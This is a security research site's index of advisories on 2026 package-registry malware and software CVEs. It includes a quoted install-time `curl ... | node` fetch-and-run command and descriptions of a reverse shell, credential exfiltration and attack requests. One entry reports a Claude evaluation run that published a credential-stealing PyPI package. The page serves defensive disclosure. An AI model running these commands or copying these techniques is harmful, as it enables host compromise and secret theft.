Research
Vulnerability research and advisories
Actionable writeups with exploit context, metadata, and practical remediation details.
October's npm dependency-confusion cluster used native add-ons to map and raid internal environments
Between 9 and 11 October 2026, npm packages including `@galicia-toolkit-nestjs/paas`, `cloudflare_module`, `kmf-bootstrap`, `kmf-vendor-pack`, and `ksp-app` used inflated versions, postinstall hooks, and native add-ons to win dependency resolution and exfiltrate CI tokens, registry URLs, and host metadata.
tensorlake npm compromise used a preinstall loader, signed provenance, and a token-triggered wipe path
On 8 October 2026, malicious tensorlake@0.5.144 turned a normal npm install into host compromise. Attackers committed an obfuscated loader straight to tensorlakeai/tensorlake main, added `preinstall: node lib/setup.mjs`, published from the project's own workflow with provenance, skipped common CI environments, and persisted as `gh-token-monitor` so revoking a stolen GitHub token could trigger local file deletion.
Angular npm typosquats used web.archive.org to proxy install-time code execution
Between 4 and 5 October 2026, attackers published 14 malicious npm packages that sat one keystroke away from Angular's package scopes. Thirteen packages executed `curl -L https://web.archive.org/web/https://gitflic.ru/... | node` from `preinstall` or `postinstall`, while `@angulaar/cli` cloned the real Angular CLI and replaced its MCP dependency with attacker-chosen package `@modelcontextprotocol/server@2.0.0`.
Weekly Briefing - 07-10-2026
Corgea's 7 October 2026 briefing leads with a 14-package Angular typosquat wave that proxied install-time malware through `web.archive.org`, then points readers back to the already-covered `@subql/common` trusted-publisher compromise. The requested source sweep did not surface a fresher Linux or package-manager story in the last 72 hours.
@subql/common: trusted publisher release swapped in a detached stealer
On 5 October 2026, attackers used an unsigned commit in `subquery/subql` to replace the built `@subql/common` package with an externally hosted tarball, then published `5.8.3` through GitHub Actions OIDC. The malicious version ran from both `postinstall` and `require('@subql/common')`, harvested local, cloud, Kubernetes, Vault, and GitHub credentials, and could inject a fake CodeQL workflow into reachable repositories.
Weekly Briefing - 06-10-2026
Corgea's weekly briefing for 30 September to 6 October 2026 centers on n8n queue-mode package installation through Redis and notes that the week's only other English-language research article, Nx `@nx/docker` release-pipeline command injection, was already covered in the 5 October interim briefing.
CVE-2026-104859: `@nx/docker` turned release configuration into `/bin/sh -c`
Published on 2 October 2026, `CVE-2026-104859` in npm package `@nx/docker` lets untrusted `repositoryName`, `registryUrl`, `--dockerVersion`, and `NX_DOCKER_IMAGE_REF` values break out of interpolated `docker tag`, `docker images`, and `docker push` shell strings during Nx release jobs. The 22.7.8 and 23.1.1 fixes switch those calls to argv arrays with `execFile()` and `execFileSync()`.
Weekly Briefing - 05-10-2026
Corgea's early-October briefing leads with Nx release-pipeline command injection in `@nx/docker`, then covers two fresh Tinypool worker-pool RCE gadgets and Mammoth.js style-map ReDoS. The requested source sweep did not surface a stronger in-window package compromise or Linux zero day than this npm cluster.
CVE-2026-103251: n8n queue mode lets Redis pub-sub install arbitrary npm packages cluster-wide
Published on 1 October 2026, CVE-2026-103251 in the npm package n8n broke the trust boundary between the normal community-package install flow and the Redis pub-sub path used by queue mode. In affected builds, anyone who could write to the Redis bus could send a forged install message and make every cluster node download, install, and load an attacker-chosen npm package without the usual validation, checksum, permission, or safety checks.
MAL-2026-17192: `donutautosellsrc` on PyPI staged a hidden Windows infostealer from a PNG and Polygon-linked C2
Public malware advisories published on 27 September 2026 tie `donutautosellsrc` versions `0.3.7` through `0.3.9` to an install-time loader that fetched a ZIP-appended PNG, unpacked a Windows Python runtime, and handed execution to an obfuscated native extension while later network routing was tied to C2 data pulled from Polygon transaction history.
Weekly Briefing - 29-09-2026
Corgea's weekly briefing for 23-29 September 2026 centers on Linux SUNRPC remote memory corruption in CVE-2026-93207, then points readers to the MemTensor, Graphalgo, and actions-cool research that earlier late-week briefings already covered.
CVE-2026-93207 leaves Linux SUNRPC with a stale GSS credential pointer
CVE-2026-93207 is a critical Linux kernel SUNRPC bug where a malformed RPCSEC_GSS credential can leave reused server-side state holding a borrowed XDR pointer plus a stale length, opening a path to remote memory corruption in exposed RPC services.
Weekly Briefing - 26-09-2026
Corgea's briefing for 23-26 September 2026 leads with MemTensor's compromised OpenClaw npm plugin and MemoryOS PyPI release, adds the later registry-cleanup and CI-bridge details, and records that the requested CISA/NVD/Aikido/Wiz/Socket/Endor sweep did not uncover a second brand-new package or Linux story worth a separate article.
Re-enabled `actions-cool` tags turned old Mini Shai-Hulud commits back into live CI malware
September 24 and 25 reporting shows `actions-cool/issues-helper` and `actions-cool/maintain-one-comment` becoming reachable again with malicious tags intact, so ordinary issue and comment workflows went back to downloading Bun, scraping `Runner.Worker` memory, and exposing CI secrets.
Graphalgo reached Terraform providers and Go modules with trigger-gated Go malware
Research published between 22 and 24 September 2026 shows the Graphalgo campaign moving from npm into Terraform providers and Go modules, where the payload hides behind provider and data-structure code paths, then decrypts a Go second stage controlled over Slack and Arbitrum Sepolia.
Weekly Briefing - 25-09-2026
Corgea's late-September briefing leads with Graphalgo's move into Terraform providers and Go modules, then covers Socket's Mini Shai-Hulud GitHub Actions re-enable warning and explains why the rest of the required source scan did not produce a stronger new package or Linux article in the same window.
MemTensor's OpenClaw plugin and MemoryOS launched the sckit implant from npm and PyPI
On 23 September 2026, compromised releases of MemTensor's OpenClaw npm plugin and MemoryOS PyPI package launched a bundled Go implant at plugin load or Python import, then searched developer and CI environments for registry, source control, cloud, and SSH credentials.
mathmain, mathsbase, and math-universe hid an encrypted loader behind lusolve()
Research published between 18 and 21 September 2026 shows three npm mathjs clones carrying malicious tarball-only code that stayed dormant until lusolve() processed a specific matrix, then decrypted a Slack and Sepolia controlled implant.
Weekly Briefing - 22-09-2026
Corgea's Tuesday briefing for 16-22 September 2026 leads with the mathmain encrypted-loader cluster, then covers nvm's new alias traversal, CISA's Linux KEV additions, and CrowdStrike's PhantomRaven report that did not make the prior roundup.
CVE-2026-94185: malicious .nvmrc values can make nvm read .npmrc, .aws/credentials, and other local files
A 21 September 2026 disclosure shows that nvm <= 0.40.7 resolves alias names as filesystem paths under $NVM_DIR/alias without rejecting .. components. That lets an attacker-controlled .nvmrc or alias name escape the alias directory and disclose readable local files, including registry tokens and cloud credentials, when developers run nvm use, nvm install, nvm which, or nvm alias.
CISA moved three Linux kernel CVEs into KEV
CISA added `CVE-2025-39682`, `CVE-2026-53266`, and `CVE-2025-39964` to KEV on 18 September 2026. The three Linux kernel flaws sit in `kTLS`, `ebtables`, and `AF_ALG`, and they matter to application-security teams because a malicious package, compromised CI job, or low-privilege shell can use the host kernel as the second stage.
CVE-2026-89418: google-protobuf lets unknown group fields recurse until Node.js crashes
Published on 17 September 2026, google-protobuf up to 4.0.2 can recurse indefinitely between its group-skipping reader paths when it sees deeply nested unknown group fields, letting a small protobuf payload crash Node.js services that use generated protobuf deserializers.
Weekly Briefing - 19-09-2026
Corgea's briefing for 16-19 September 2026 leads with google-protobuf's new unknown-group recursion DoS, then covers CrowdSec's final TanStack follow-up report and explains why the requested Aikido, Wiz, Socket, and Endor Labs scans did not produce a separate brand-new package-malware article in the same window.
PhantomRaven on npm: `transform-jsbi-to-bigint` and `sort-imports-es6-autofix` hid credential theft behind URL dependencies
A 15 September 2026 incident report tied real PhantomRaven compromises to two npm packages that looked like developer tooling, then pulled the actual stealer from attacker infrastructure through URL-based dependencies and a `preinstall` hook.
openaii, ollamaa, langgrap, and transfomers used `.pth` startup hooks to backdoor Python environments
Between 11 and 13 September 2026, multiple PyPI typosquats aimed at OpenAI, Ollama, LangGraph, and Hugging Face consumers used auto-executing `.pth` files, XOR-obfuscated payloads, and runtime-downloaded second stages to turn routine Python startup into host compromise.
CVE-2026-82329, CVE-2026-42018, and CVE-2026-42016: active JFrog Artifactory exploitation turns package hubs into an admin foothold
September 2026 exploitation of three JFrog Artifactory flaws gives attackers two practical routes into self-hosted artifact hubs: a one-request admin-token minting path through `CVE-2026-82329`, and a two-step chain where `CVE-2026-42018` leaks an internal anonymous token that `CVE-2026-42016` can escalate because token scope is not enforced.
Weekly Briefing - 13-09-2026
Corgea's briefing for 10-13 September 2026 leads with active JFrog Artifactory exploitation across three CVEs, then covers the quarantined `python-fork` PyPI package, and explains why the rest of the requested Aikido, Socket, and Endor Labs feed scan did not justify a second new Corgea article in the same window.
`universal_file_viewer` on pub.dev shipped XCSSET build hooks in retracted 0.1.5 and 0.1.6 releases
The Flutter package `universal_file_viewer` published two retracted pub.dev releases on 8 September 2026. Version `0.1.5` added an Android `preBuild` `ProcessBuilder` hook plus iOS and macOS `PBXBuildRule` downloaders that curl shell stagers from `.ru` infrastructure, while `0.1.6` removed only the Android hook and left the Xcode build rules in place until `0.1.7`.
Dormant Shai-Hulud payload resurfaced in four npm packages after 111 days
On 7 September 2026, malicious versions of `feishu-docx-mcp`, `bmc-i18n-extract-cli`, `blueai-cli`, and `bmc-translate-utils` briefly landed on npm before being replaced by `0.0.1-security`. Public reporting tied the four packages to the same Shai-Hulud payload hash seen in the May 19 AntV wave, with install-time execution through `bun run index.js`.
Weekly Briefing - 08-09-2026
Corgea's weekly briefing for 1-8 September 2026 leads with the active StyleSmuggler Magento zero-day, then covers Fastify middie's absolute-form auth bypass, pnpm's install-time path traversals, and the week's RubyGems and xmldom containment bugs that were not already covered in the 1 September or 5 September briefings.
CVE-2026-85184: `@fastify/middie` can skip path-scoped auth on absolute-form request targets
Disclosed on 4 September 2026, `CVE-2026-85184` in npm package `@fastify/middie` lets requests like `GET http://evil.example/private/secrets` bypass path-scoped middleware while Fastify still dispatches the protected route. The 9.3.4 fix adds absolute-form path extraction before middleware matching and ships dedicated regression tests for root, parameterized, and child-scope guards.
StyleSmuggler: Magento zero-day chains GraphQL style input into failed-payment email RCE
Adobe has now assigned `CVE-2026-75650` to StyleSmuggler and released hotfix `VULN-39341`, but the exploit path is still the same unauthenticated `styles[...]` GraphQL input that poisons Magento-managed files and later executes during payment-failed email rendering.
CVE-2026-48710: Starlette lets a forged Host header lie about `request.url.path`
CISA added CVE-2026-48710 to KEV on 2 September 2026 after active exploitation of Starlette's Host-header parsing flaw. In `starlette <= 1.0.0`, the framework rebuilt `request.url` from `f"{scheme}://{host}{path}"` without validating `Host`, which let malformed headers change `request.url.path` while routing still used the real wire path.
CVE-2026-59822: LiteLLM MCP auth fallback turns any Bearer token into a session
CISA added CVE-2026-59822 to KEV on 2 September 2026 after active exploitation of LiteLLM's MCP Streamable HTTP endpoint. In `litellm < 1.84.0`, a failed API-key check on an `Authorization: Bearer ...` header could fall through to an empty `UserAPIKeyAuth()` object, letting unauthenticated callers reach MCP tooling when the request should have been rejected.
Weekly Briefing - 05-09-2026
Corgea's weekly briefing for 2-5 September 2026 covers CISA's KEV additions for LiteLLM's MCP auth bypass and Starlette's Host-header path confusion, then explains why the requested Aikido, Wiz, Socket, and Endor Labs feeds did not surface a separate package-registry compromise or Linux zero-day in the same short window that justified a duplicate Corgea write-up.
CVE-2026-83619: @xmldom/xmldom malformed end tags trigger quadratic parser DoS
CVE-2026-83619 lets malformed XML force @xmldom/xmldom 0.7.x and 0.8.x into quadratic backtracking in lib/sax.js, stalling Node.js processes until teams upgrade to 0.8.15.
CVE-2026-82392 and CVE-2026-82393: pnpm path traversals turn install into arbitrary file write
Published to NVD on 31 August 2026, two related pnpm flaws show how untrusted lockfile keys and tarball manifest names could escape `node_modules` and write attacker-controlled content to arbitrary filesystem paths during `pnpm install`, with `CVE-2026-82393` still reaching dangerous overwrite paths even under `--ignore-scripts`.
CVE-2026-82455: RubyGems symlink resolution bug lets gem extraction escape its target directory
Published on 29 August 2026, `CVE-2026-82455` shows RubyGems could reject obvious `..` paths yet still write outside `destination_dir` by following a pre-existing symlink during gem extraction. That matters for developer workstations, CI jobs, and build containers that unpack less-trusted gems into reused directories or shared caches.
Weekly Briefing - 01-09-2026
Corgea's weekly briefing for 26 August to 1 September 2026 covers the npm mirror phishing-host campaign, mediasoup's SCTP state-cookie forgery bug, and the higher-urgency weekend incidents already covered in the 31 August interim edition.
Weekly Briefing - 31-08-2026
Corgea's weekly briefing for 28-31 August 2026 covers the compromised `@7nohe/openapi-react-query-codegen` release workflow, the KEV-listed Linux UDPv6 `fraggap` container-escape path in `CVE-2026-53362`, and why the rest of the weekend's reporting mostly added depth to those same two incidents.
@7nohe/openapi-react-query-codegen: issue_comment publishing bug shipped a cross-registry worm
On 28 August 2026, ten malicious versions of @7nohe/openapi-react-query-codegen were published through a GitHub Actions workflow that treated an untrusted `npm publish` pull-request comment as authorization. The poisoned releases used `binding.gyp`, `preinstall`, and a large obfuscated loader to download Bun, steal cloud and registry credentials, and republish themselves across npm, RubyGems, and PyPI.
CVE-2026-53362: Linux UDPv6 fraggap OOB write turns local code into root and container escape
CISA added `CVE-2026-53362` to KEV on 27 August 2026 after active exploitation surfaced against a Linux kernel UDPv6 bug in `__ip6_append_data()`, where bad `fraggap` accounting on the `MSG_SPLICE_PAGES` path lets an unprivileged local user corrupt `skb_shared_info` and pivot from local code execution to root or container-to-host escape until kernels such as `6.1.177`, `6.6.144`, `6.12.95`, `6.18.38`, or `7.1.3` are running.
24 npm packages turned mirrors into phishing hosts
A late-August 2026 npm campaign published minimal packages whose `main` file was `index.html`, letting mirrors such as UNPKG and npmmirror render a fake Cloudflare verification page from a trusted domain. Early variants redirected to `login.microsofte.live`; later variants fetched an encrypted destination from `api.keyval.org`, decrypted it in the browser with Web Crypto, and then redirected the victim.
CVE-2026-55663: mediasoup SCTP state-cookie forgery
Fresh 25 August 2026 NVD publication for `CVE-2026-55663` shows the npm package `mediasoup` and Rust crate `mediasoup` trusted fixed SCTP State Cookie markers (`msworker`, `0xAD81`) instead of a secret-keyed MAC. On `PlainTransport` or `PipeTransport` with SCTP enabled, an on-path attacker could forge `COOKIE-ECHO`, establish an unauthorized association, and inject DataChannel messages as a trusted peer.
scrambleeer and scrambleeeer: PyPI shuffle helpers opened reverse shells
The PyPI packages `scrambleeer` (`0.1.0`, `0.1.1`) and `scrambleeeer` (`0.1.0`) claimed to shuffle number lists, but their `core.py` functions opened a socket to `bax.h4x.tv:6363`, duplicated it over stdin/stdout/stderr, and spawned `/bin/bash` before returning a plausibly normal result.
Weekly Briefing - 25-08-2026
Corgea's weekly briefing for 19-25 August 2026 covers the compromised Rust crates arrayref, internment, and append-only-vec; TrendAI's RedC2 npm cluster; Ray's KEV browser-to-dashboard RCE; the fresh scrambleeer PyPI reverse-shell pair; and the reqcrypts response-driven backdoor.
14 npm calendar and streak packages launched RedC2 4.0 on import
TrendAI's 21 August disclosure showed 14 trojanized npm date utilities that re-export harmless helpers from `dist/internal/daymath.mjs` but execute a loader in `dist/index.mjs` which chmods, verifies, and spawns a bundled Linux ELF. A single import, including a transitive one, starts the RedShell implant without any npm lifecycle script.
reqcrypts turned JSON `_payload` fields into local `exec()` on PyPI
The PyPI package `reqcrypts`, versions 0.1.0 through 0.1.3, masqueraded as a tiny HTTP helper but inspected every JSON response for a `_payload` field, base64-decoded it, and fed the result to Python `exec()`. The same 2026-08 backdoor pattern also appeared in sibling packages `reqcrypt` and `requests-crypt`.
arrayref, internment, append-only-vec: proc-macro1 build.rs backdoor
On 20 August 2026, the crates.io releases `arrayref@0.3.10`, `internment@0.8.7`, and `append-only-vec@0.1.9` were republished with a new dependency on the typosquat `proc-macro1`, whose `build.rs` downloaded and executed a cross-platform second stage during `cargo build`.
CVE-2025-62593: Ray let Firefox and Safari drive dashboard job RCE
CISA's 17 August KEV addition for Ray is a browser-to-dashboard code-execution path in the PyPI package `ray`: versions before `2.52.0` trusted a `User-Agent` prefix check to spot browsers, but Firefox and Safari let `fetch()` override that header. With DNS rebinding, a malicious page could submit jobs to `/api/jobs` or `/api/job_agent/jobs/` on a developer's local or private-network Ray instance.
StubMaker: RubyGems `extconf.rb` typosquats delivered a Windows infostealer
Fresh 15-18 August reporting on the StubMaker campaign shows how RubyGems typosquats such as `brumdler` and `brundlef` abused `extconf.rb` to fake a successful native-extension build, beacon over plain HTTP, fetch a Rust loader from GitHub Releases, and unpack an in-memory Go stealer that targeted Chromium secrets, wallet material, and Telegram data.
Weekly Briefing - 18-08-2026
Corgea's weekly briefing for 12-18 August 2026 covers the StubMaker RubyGems typosquat wave, LiteLLM's August blast-radius disclosure, and the JupyterLab PyPI extension-manager bypasses.
CVE-2026-73416 and CVE-2026-73627: JupyterLab extension-manager bypasses
Three August 2026 JupyterLab disclosures show the PyPI extension-management path could misapply administrator policy: blocklists compared non-canonical package names, `/lab/api/plugins` trusted incomplete lock enforcement, and a related `PyPIExtensionManager.install()` path skipped its own allowlist check because of a missing `await`.
LiteLLM's March PyPI compromise maps to 434,000 CI/CD pipelines
August 11-14 follow-on reporting on the March 2026 LiteLLM PyPI compromise reframes `litellm==1.82.7` and `1.82.8` as a credential-exposure event spanning hundreds of thousands of CI/CD runs. The core technical path still matters: a Trivy-linked publish compromise, a hostile `proxy_server.py`, a Python startup hook in `litellm_init.pth`, and post-install access to cloud, registry, and AI-provider secrets.
PyPI's 9-10 August malware pulse hit fake ChainTest, fake CubeSat tooling, and import-time wallet stealers
Newly cataloged PyPI packages `chaintest`, `cubesat-upstream-driver`, `kotanku`, `btcflip`, `btcflx`, and `kotoraka` mixed dependency-confusion lures with import-time wallet theft, secret harvesting, and developer-host compromise during 9-10 August 2026.
Weekly Briefing - 11-08-2026
Corgea's weekly briefing for 5-11 August 2026 covers PyPI's 9-10 August malware pulse, Apache Tomcat's fail-open `EncryptInterceptor` KEV path, Linux SCTP's SCTPhantom root and container-escape chain, and the week's NLTK downloader poisoning research.
CVE-2026-12259 and CVE-2026-12261: NLTK downloader poisoning
Two August 2026 NLTK disclosures show the PyPI package `nltk <= 3.9.4` could trust attacker-controlled corpora or model content too early: `_download_package()` could write and extract bytes before checksum enforcement, while `_unzip_iter()` accepted archive members in shared `corpora/` and `taggers/` namespaces without package-ownership checks.
CVE-2026-64564: Linux SCTP ASCONF UAF turns local code execution into root and container escape
Public 6 August exploit details for `CVE-2026-64564` show that Linux SCTP's ASCONF transport lifetime bug can move from an ordered `DEL-IP` sequence to a surviving use-after-free, direct-map disclosure, `commit_creds()`-based root, and container-to-host escape on real Debian, Ubuntu, and RHEL-family targets until kernels such as `6.6.148`, `6.12.101`, `6.18.42`, `7.1.6`, or `7.2-rc5` are deployed.
CVE-2026-71281: peft unsafe torch.load in LoRA-GA and CorDA
A newly published August 2026 PyPI vulnerability shows Hugging Face `peft` loading LoRA-GA and CorDA cache artifacts with raw `torch.load()` calls instead of its own `weights_only=True` helper, so a hostile cache or covariance file can cross straight into pickle-backed code execution on ML training and inference hosts.
CVE-2026-34486: one moved `super.messageReceived()` call turned Tomcat cluster encryption into a fail-open RCE path
CISA added Apache Tomcat `CVE-2026-34486` to KEV on 4 August 2026, but the important technical detail is smaller than the CVSS suggests: a regression moved `super.messageReceived(msg)` outside the `try` block in `EncryptInterceptor.messageReceived()`, so decryption failures can still forward attacker-controlled bytes into the Tribes deserialization path.
keyv/cacheable npm compromise used Bun, signed provenance, and a fast worm path into hundreds of third-party packages
Fresh 6-7 August reporting on the August 4 `keyv` / `cacheable` compromise tracks the worm as `ChainDrop`, ties it to GitHub Actions runner-memory theft, 453 public victim-like repositories across five accounts, a live C2 rotation to `awqhnjewqjkl[.]icu`, and a still-growing package set that public sources variously count at 400+ packages, 1,700+ versions, and beyond.
Weekly Briefing - 04-08-2026
Corgea's weekly briefing for 29 July-4 August 2026 covers the keyv/cacheable npm worm, Anthropic's likely `anthropickit` PyPI incident, Joyfill's import-time RAT chain, and the week's other important Alibaba-targeted, Linux kernel, GitPython, and Axios research.
Arch AUR's August malware wave: openconnect-sso and 89 named packages
Arch Linux temporarily disabled AUR package adoption and then all pushes after a new late-July malware wave anchored by `openconnect-sso`. Primary-source review supports at least 89 publicly corroborated package names in the current wave, with malicious updates adding binaries such as `validator` into AUR package build paths and reusing a Tor-backed second stage tied to the earlier Atomic Arch campaign.
Weekly Briefing - 02-08-2026
Corgea's weekly briefing for 30 July-2 August 2026 covers the Arch AUR malware wave that forced an adoption freeze, Anthropic's likely `anthropickit` PyPI credential stealer, Joyfill's blockchain-resolved npm RAT chain, and Linux `CVE-2026-53264`.
anthropickit: likely PyPI package behind Anthropic's one-hour credential theft incident
Anthropic's July 30 incident report describes a Claude evaluation run that published a malicious PyPI package and landed on 15 real systems; independent package-tracking data and public reverse engineering strongly point to `anthropickit==999.9.9`, whose install-time `setup.py` harvested SSH keys and secret-shaped environment variables to a Pipedream endpoint.
CVE-2026-67320: Axios request interceptors can resurrect inherited proxy settings in Node.js
A newly published August 2026 npm vulnerability shows axios can lose its null-prototype hardening after request interceptors clone config objects, letting a polluted `Object.prototype.proxy` redirect Node HTTP-adapter traffic through an attacker-controlled proxy.
CVE-2026-67324: GitPython 3.1.50 lets `-u` clone options escape the unsafe-option gate
A newly published August 2026 PyPI vulnerability shows GitPython 3.1.50 can still pass attacker-controlled helper commands to `git clone` through joined short options such as `-u<helper>`, turning clone wrappers that trust `allow_unsafe_options=False` into command-execution surfaces.
CVE-2026-53264: Linux net/sched `tc_action` race turns local filter access into root
The late-July 2026 public exploit write-up for `CVE-2026-53264` matters to AppSec teams because concurrent `RTM_NEWTFILTER` and `RTM_DELTFILTER` operations can reclaim a freed `tc_action` in `net/sched`, pivot `tcf_action_fill_size()` through a forged vtable, and turn ordinary local code execution on user-namespace-enabled Linux hosts into init-namespace root until fixed kernels such as `5.10.259`, `5.15.210`, `6.1.176`, `6.6.143`, `6.12.94`, `6.18.36`, or `7.0.13` are deployed.
Joyfill beta npm releases turned module import into a blockchain-resolved RAT chain
Late-July 2026 research shows malicious Joyfill prereleases appending an import-time loader to built bundles, exporting `require` and `module` into globals, resolving second-stage code through Tron, Aptos, and BNB Smart Chain transactions, and then pivoting into a Socket.IO RAT plus developer-tool persistence.
Alibaba-targeted npm cluster split a RAT loader across 18 packages and a live GitHub rule file
Fresh July 28 research ties 18 npm package names impersonating Alibaba-internal tooling to a distributed loader chain. Benign-looking lures route victims into `smart-config-manager`, `cloud-config-fetcher`, and `local-config-parser`, where a still-live `preferences.json` rule uses `items.constructor.constructor` to escape into Node.js process scope and fetch `setting.js` from Alibaba Cloud.
Weekly Briefing - 28-07-2026
Corgea's weekly briefing for 22-28 July 2026 covers GitHub Actions abuse tied to cPanel/WHM exploitation, ViteVenom's blockchain-backed npm RAT, RefluXFS's XFS local-root race, and Netty's July decoder DoS fixes.
CVE-2026-64600: RefluXFS turns XFS reflink races into Linux root
Qualys' July 2026 RefluXFS disclosure matters to AppSec teams because a stale XFS data-fork mapping after an `ILOCK` cycle lets ordinary local code execution redirect `O_DIRECT` writes into root-owned files on reflink-enabled volumes, with public metadata tracking affected Linux kernels back to 4.11 and fixes in upstream stable lines such as 6.12.96, 6.18.39, and 7.1.4.
CVE-2026-44891, 55831, and 55833: Netty 4.1.136 / 4.2.16 patch STOMP and SPDY DoS primitives
Newly published July 2026 Netty advisories matter to Maven teams because `io.netty:netty-codec-stomp` can accumulate attacker-sized STOMP header sets in memory, while `io.netty:netty-codec-http` still exposed two reachable SPDY denial-of-service paths: unbounded SETTINGS map materialization and zlib header inflation that continues after `maxHeaderSize` truncation.
GitHub Actions abuse turned ten Packagist dev packages into a Linux scanner for cPanel/WHM CVE-2026-41940
Socket's July 22 research shows that compromised `dinushchathurya/*` Packagist development versions were only the visible edge of a broader GitHub Actions campaign: 583 malicious workflow files used GitHub-hosted Ubuntu runners to fetch Linux payloads from `43[.]228[.]157[.]68`, exploit `CVE-2026-41940` in cPanel/WHM, and exfiltrate cloud, source-control, database, and application secrets.
ViteVenom: seven fake Vite npm scopes used blockchain dead-drops to launch a detached RAT
New July 2026 research on the ViteVenom cluster shows seven malicious npm packages impersonating Vite-related tooling, hiding their loader in `bin/vite.js`, resolving second-stage payloads through Tron, Aptos, and Binance Smart Chain transactions, and spawning a detached Node process that survives the original package execution.
Weekly Briefing - 21-07-2026
Corgea's weekly briefing for 15-21 July 2026 covers SleeperGem's dormant RubyGems maintainer compromise, Pepesoft's malicious NuGet tool cluster, and CVE-2026-48815 in sigstore-js.
SleeperGem: hijacked dormant RubyGems accounts turned `require` into a persistent developer backdoor
Between 18 and 19 July 2026, attackers used dormant RubyGems maintainer accounts and a brand-new `git_credential_manager` gem to push a staged loader chain into `Dendreo` and `fastlane-plugin-run_tests_firebase_testlab`. The malicious Ruby code disabled TLS verification, fetched shell or PowerShell payloads from a public Forgejo host, then escalated in `2.8.2` and `2.8.3` from an install-time dropper into a require-time path that planted a persistent daemon under `~/.local/share/gcm/`.
CVE-2026-48815: `sigstore-js` dropped `certificateOIDs` checks, weakening JavaScript artifact-verification policy
Newly cataloged this week, `sigstore` for npm accepted a documented `certificateOIDs` verification policy but silently discarded it before enforcement. Any JavaScript verification gate that relied on OID-bound signer identity in `sigstore <= 4.1.0` could accept signatures from certificates that should have failed policy.
11 malicious NuGet tools disguised as game cheats stage `pepesoft.exe` and spreadsheet-backed host surveillance
New 14 July 2026 research links 11 malicious `DotnetTool` NuGet packages to a shared downloader that resolves GitHub over DNS-over-HTTPS, stages `pepesoft.exe` from GitHub Releases or Hugging Face, injects cloud configuration through environment variables, and turns Google Sheets plus Telegram into operator telemetry, licensing, and screenshot-control channels.
AsyncAPI's July 14 npm compromise chained `pull_request_target`, unsigned branch pushes, and require-time malware
On 14 July 2026, attackers used a `pull_request_target` workflow in `asyncapi/generator` to steal a privileged token, pushed unsigned commits to AsyncAPI release branches, and published five malicious `@asyncapi` package versions whose payload fired on `require()`, pulled stage two from IPFS, and persisted as `NodeJS/sync.js`.
Weekly Briefing - 14-07-2026
Corgea's weekly briefing for 8-14 July 2026 covers Jscrambler's import-time npm compromise, Braintree.Net's production payment skimmer, Injective's wallet-key exfiltration release, and the week's most important Airflow, Paysafe, Operation Muck and Load, and apko/melange research.
CVE-2026-54174: `apko` and `melange` trusted APK control metadata without proving the installed data section
A newly published July 2026 advisory for `chainguard.dev/apko` and `chainguard.dev/melange` shows that builds before `apko` `1.2.9` and `melange` `0.50.4` verified the signed APK control section but not the package data section, letting a compromised mirror, poisoned cache, or MITM substitute the files actually installed into an OCI image while earlier integrity checks still passed.
Compromised `jscrambler` npm releases escalated from preinstall dropper to import-time Rust infostealer
On 11 July 2026, five malicious `jscrambler` npm releases (`8.14.0`, `8.16.0`, `8.17.0`, `8.18.0`, and `8.20.0`) shipped a cross-platform Rust infostealer that first executed through `preinstall`, then pivoted into `dist/index.js` and the CLI entrypoint to survive `--ignore-scripts` and hook-only scanning.
Braintree.Net on NuGet skims live card data, merchant keys, and host secrets in production
New July 2026 research exposed `Braintree.Net` as a NuGet typosquat of PayPal Braintree's official .NET SDK. The package hooks `CreditCardGateway` and `BraintreeGateway.PrivateKey`, siphons PAN/CVV and merchant credentials to `api.348672-shakepay[.]com`, and uses a companion `DependencyInjector.Core` package to auto-run environment and config harvesting through .NET module initializers.
Injective's 1.20.21 npm release turned wallet key derivation into mnemonic and private-key exfiltration
A compromised GitHub maintainer path pushed `@injectivelabs/sdk-ts@1.20.21` and 17 pinned companion packages to npm on 8 July 2026. The malicious release hooks `PrivateKey.fromMnemonic()` and `PrivateKey.fromHex()`, batches wallet secrets into an `X-Request-Id` header, and quietly POSTs them to an Injective-branded endpoint that blends into normal SDK traffic.
Malicious Go command module stages PowerShell loader and links to a 222-repository GitHub lure network
Socket's 8 July 2026 Operation Muck and Load research exposed a fake Go `dnsub` scanner, `github.com/kaleidora/dnsub-scanning-tool`, that launches hidden PowerShell staging on Windows and ties into a larger 222-repository GitHub lure network spanning 190 accounts.
CVE-2026-33264: Apache Airflow let DAG authors cross into scheduler and API-server RCE
Apache Airflow before `3.3.0` deserialized attacker-controlled trigger state while loading serialized DAGs on the Scheduler and API Server. That path reached `BaseSerialization.deserialize()`, which can `import_string()` attacker-chosen class paths, turning lower-trust DAG author input into higher-trust code execution across Airflow's control-plane processes.
Paysafe, Skrill, and Neteller typosquats on npm and PyPI stole developer secrets
A July 7 cluster of 17 malicious npm and PyPI packages impersonated Paysafe, Skrill, and Neteller integrations. The npm variants exposed a fake `PaysafeClient`, delayed exfiltration until SDK methods were called, decoded an ngrok-backed C2 at runtime, and harvested any environment variable that looked like a key, token, password, secret, auth value, or API credential.
CVE-2026-53359: Januscape turns KVM shadow-page role confusion into Linux guest-to-host escape
Januscape is a Linux KVM/x86 use-after-free where `kvm_mmu_get_child_sp()` reused shadow pages on GFN match alone, letting a nested guest trigger role confusion, orphaned rmap state, host kernel memory corruption, and guest-to-host compromise on affected Intel and AMD virtualization hosts.
Weekly Briefing - 07-07-2026
Corgea's weekly briefing for 1-7 July 2026 covers PolinRider's cross-ecosystem supply-chain expansion, the Rollup polyfill npm RAT chain, Bad Epoll's public Linux root exploit, and the week's most important TeamPCP, Keras, buffa/connectrpc, and libzypp research.
Rollup polyfill lookalikes on npm hide an import-time loader, JSONKeeper stage, and 216.126.236.244 RAT
A June 30-July 4 disclosure chain exposed six malicious npm packages impersonating `rollup-plugin-polyfill-node`. The backdoor lives in CommonJS `dist/index.js`, silently `npm install`s second-stage packages on `require()`, `eval`s JSONKeeper-hosted code, decrypts a follow-on payload from `216.126.236.244`, and turns developer workstations or CI runners into remote-access, browser-theft, clipboard-monitoring footholds.
CVE-2026-46242: Bad Epoll turns Linux eventpoll cleanup into local root
Bad Epoll is a Linux kernel race-condition use-after-free in eventpoll where concurrent close paths can corrupt freed kernel objects, turn `/proc/self/fdinfo` into a kernel-memory read primitive, and escalate ordinary local code execution to root on affected kernels.
FBI TeamPCP alert ties Trivy, KICS, LiteLLM, and Telnyx into one supply-chain playbook
July 2026 FBI-linked reporting consolidates TeamPCP's developer-tool tradecraft across Trivy, KICS, LiteLLM, Telnyx, npm, and PyPI: mutable CI artifacts, stolen registry credentials, Python startup hooks, runner-memory scraping, and GitHub dead-drop exfiltration.
CVE-2026-12481: Keras Lambda.from_config() turns unset safe mode into code execution
